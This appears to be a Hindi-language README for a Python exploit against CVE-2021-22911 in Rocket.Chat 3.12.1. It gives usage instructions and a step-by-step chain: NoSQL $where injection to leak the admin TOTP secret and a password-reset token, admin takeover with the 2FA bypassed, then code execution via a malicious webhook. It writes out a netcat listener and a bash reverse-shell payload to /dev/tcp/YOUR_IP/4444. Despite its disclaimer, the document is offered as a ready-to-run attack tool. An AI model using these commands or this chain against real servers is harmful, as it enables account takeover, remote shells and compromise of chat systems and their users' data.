CVE-2021-22911 — Rocket.Chat 3.12.1 RCE (कामचलाऊ)

विवरण

Rocket.Chat 3.12.1 में एक प्री-ऑथ NoSQL इंजेक्शन भेद्यता का शोषण करता है ताकि व्यवस्थापक के TOTP गुप्त और पासवर्ड रीसेट टोकन को लीक किया जा सके, व्यवस्थापक खाते पर कब्जा किया जा सके, और एक दुर्भावनापूर्ण वेबहुक एकीकरण के माध्यम से RCE प्राप्त किया जा सके।

प्रभावित संस्करण

Rocket.Chat <= 3.12.1

आवश्यकताएँ

pip install -r requirements.txt

सेटअप - पहले एक लिसनर शुरू करें

एक्सप्लॉइट चलाने से पहले, एक अलग टर्मिनल में netcat लिसनर शुरू करें आने वाले रिवर्स शेल को पकड़ने के लिए:

nc -lvnp 4444

इस टर्मिनल को खुला रखें। एक बार एक्सप्लॉइट सफलतापूर्वक चलने पर, आपका शेल यहाँ दिखाई देगा।

उपयोग

python3 pwn_rocketchat.py \
  -t 'http://TARGET:3000' \
  -u 'USERNAME' \
  -p 'PASSWORD' \
  -e '[email protected]' \
  -a 'adminusername' \
  -c '/bin/bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'

तर्क

यह कैसे काम करता है

1. DDP प्रोटोकॉल के माध्यम से निम्न-विशेषाधिकार उपयोगकर्ता के रूप में प्रमाणित करता है
2. NoSQL $where इंजेक्शन के माध्यम से व्यवस्थापक TOTP गुप्त लीक करता है
3. व्यवस्थापक पासवर्ड रीसेट ईमेल ट्रिगर करता है
4. NoSQL $where इंजेक्शन के माध्यम से व्यवस्थापक पासवर्ड रीसेट टोकन लीक करता है
5. लीक किए गए TOTP गुप्त का उपयोग करके 2FA को बायपास करते हुए व्यवस्थापक पासवर्ड रीसेट करता है
6. दुर्भावनापूर्ण वेबहुक एकीकरण बनाता है और RCE ट्रिगर करता है

अस्वीकरण

यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत प्रवेश परीक्षण के लिए है। लेखक इस उपकरण के किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं है। परीक्षण से पहले हमेशा उचित लिखित प्राधिकरण प्राप्त करें।

संदर्भ

• https://nvd.nist.gov/vuln/detail/CVE-2021-22911